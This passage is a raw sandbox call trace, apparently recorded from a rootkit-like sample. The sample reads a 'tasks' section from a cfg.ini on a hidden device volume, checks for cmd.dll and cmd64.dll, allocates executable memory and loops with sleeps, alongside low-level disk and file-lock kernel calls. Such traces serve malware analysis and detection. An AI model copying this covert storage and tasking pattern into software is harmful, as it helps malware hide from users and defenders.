(FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.561] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05b10 [0129.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.561] KeLeaveCriticalRegion () [0129.562] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.562] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.562] KeEnterCriticalRegion () [0129.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.562] KeLeaveCriticalRegion () [0129.562] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.562] KeEnterCriticalRegion () [0129.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.562] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.562] IdePortDispatch () returned 0x103 [0129.562] KeWaitForMutexObject () returned 0x0 [0129.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.562] KeLeaveCriticalRegion () [0129.562] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.562] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.562] KeEnterCriticalRegion () [0129.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c12000 [0129.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.562] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.562] IdePortDispatch () returned 0x103 [0129.563] KeWaitForMutexObject () returned 0x0 [0129.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.563] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.563] IdePortDispatch () returned 0x103 [0129.563] KeWaitForMutexObject () returned 0x0 [0129.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.563] KeLeaveCriticalRegion () [0129.563] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.563] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.564] KeEnterCriticalRegion () [0129.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.564] KeLeaveCriticalRegion () [0129.564] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.564] KeEnterCriticalRegion () [0129.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.564] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.564] KeLeaveCriticalRegion () [0129.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.564] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.564] KeEnterCriticalRegion () [0129.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.564] ExFreePoolWithTag (P=0xfffffa8003c05b10, Tag=0x0) [0129.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.564] KeLeaveCriticalRegion () [0129.564] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.564] ReleaseMutex (hMutex=0xf0) returned 1 [0129.564] Sleep (dwMilliseconds=0x927c0) [0129.581] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.581] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.581] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.581] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.581] KeEnterCriticalRegion () [0129.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.581] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.581] IdePortDispatch () returned 0x103 [0129.581] KeWaitForMutexObject () returned 0x0 [0129.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.581] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.581] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.581] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.581] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.581] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04740 [0129.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.581] KeLeaveCriticalRegion () [0129.581] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.581] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.581] KeEnterCriticalRegion () [0129.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.581] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.581] KeLeaveCriticalRegion () [0129.581] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.582] KeEnterCriticalRegion () [0129.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.582] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.582] IdePortDispatch () returned 0x103 [0129.582] KeWaitForMutexObject () returned 0x0 [0129.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.582] KeLeaveCriticalRegion () [0129.582] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.582] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.582] KeEnterCriticalRegion () [0129.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.582] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c17000 [0129.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.582] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.582] IdePortDispatch () returned 0x103 [0129.582] KeWaitForMutexObject () returned 0x0 [0129.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.582] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.583] IdePortDispatch () returned 0x103 [0129.583] KeWaitForMutexObject () returned 0x0 [0129.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.583] KeLeaveCriticalRegion () [0129.583] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.583] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.583] KeEnterCriticalRegion () [0129.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.583] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.583] KeLeaveCriticalRegion () [0129.583] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.583] KeEnterCriticalRegion () [0129.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.584] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.584] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c051e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.584] KeLeaveCriticalRegion () [0129.584] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.584] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.584] KeEnterCriticalRegion () [0129.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.584] ExFreePoolWithTag (P=0xfffffa8003c04740, Tag=0x0) [0129.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.584] KeLeaveCriticalRegion () [0129.584] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.584] ReleaseMutex (hMutex=0xf0) returned 1 [0129.584] Sleep (dwMilliseconds=0x927c0) [0129.599] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.599] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.600] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.600] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.600] KeEnterCriticalRegion () [0129.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.600] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.600] IdePortDispatch () returned 0x103 [0129.600] KeWaitForMutexObject () returned 0x0 [0129.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.600] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.600] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.600] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.600] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.600] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.600] KeLeaveCriticalRegion () [0129.600] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.600] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.600] KeEnterCriticalRegion () [0129.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.600] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.600] KeLeaveCriticalRegion () [0129.600] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.600] KeEnterCriticalRegion () [0129.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.600] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.600] IdePortDispatch () returned 0x103 [0129.601] KeWaitForMutexObject () returned 0x0 [0129.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.601] KeLeaveCriticalRegion () [0129.601] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.601] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.601] KeEnterCriticalRegion () [0129.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c20000 [0129.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.601] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.601] IdePortDispatch () returned 0x103 [0129.601] KeWaitForMutexObject () returned 0x0 [0129.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.601] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.601] IdePortDispatch () returned 0x103 [0129.601] KeWaitForMutexObject () returned 0x0 [0129.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.602] KeLeaveCriticalRegion () [0129.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.602] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.602] KeEnterCriticalRegion () [0129.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.602] KeLeaveCriticalRegion () [0129.602] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.602] KeEnterCriticalRegion () [0129.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.602] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.602] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.602] KeLeaveCriticalRegion () [0129.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.602] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.603] KeEnterCriticalRegion () [0129.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.603] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.603] KeLeaveCriticalRegion () [0129.603] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.603] ReleaseMutex (hMutex=0xf0) returned 1 [0129.603] Sleep (dwMilliseconds=0x927c0) [0129.621] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.621] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.621] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.621] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.621] KeEnterCriticalRegion () [0129.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.621] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.621] IdePortDispatch () returned 0x103 [0129.621] KeWaitForMutexObject () returned 0x0 [0129.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.621] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.621] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.621] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.621] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.621] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05410 [0129.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.621] KeLeaveCriticalRegion () [0129.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.622] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.622] KeEnterCriticalRegion () [0129.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.622] KeLeaveCriticalRegion () [0129.622] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.622] KeEnterCriticalRegion () [0129.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.622] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.622] IdePortDispatch () returned 0x103 [0129.622] KeWaitForMutexObject () returned 0x0 [0129.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.622] KeLeaveCriticalRegion () [0129.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.622] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: 